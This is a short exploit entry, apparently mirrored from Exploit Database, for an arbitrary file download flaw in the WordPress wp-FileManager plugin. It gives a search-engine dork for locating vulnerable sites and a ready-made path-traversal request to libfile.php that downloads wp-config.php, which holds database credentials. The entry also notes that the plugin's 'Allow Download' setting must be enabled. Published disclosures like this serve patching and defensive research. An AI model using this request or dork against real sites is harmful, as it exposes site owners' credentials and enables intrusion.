WordPress Plugin wp-FileManager – Arbitrary File Download

• Exploit Database
• 120 阅读

• 作者： ByEge
  日期： 2013-05-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/25440/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

  Title: WordPress wp-FileManager Local File Download Vulnerability Author: ByEge Download: http://wordpress.org/extend/plugins/wp-filemanager/ Test Platform: Linux Images: http://j1305.hizliresim.com/19/f/n0xxf.jpg Vuln. Plat.: Web Application       Google Dorks: inurl:wp-content/plugins/wp-filemanager/ Test : http://server/wp-content/plugins/wp-filemanager/incl/libfile.php?&path=../../&filename=wp-config.php&action=download   # Exploit-DB Note: # In order for this to work, the "Allow Download" setting must be checked in the FileManager's settings.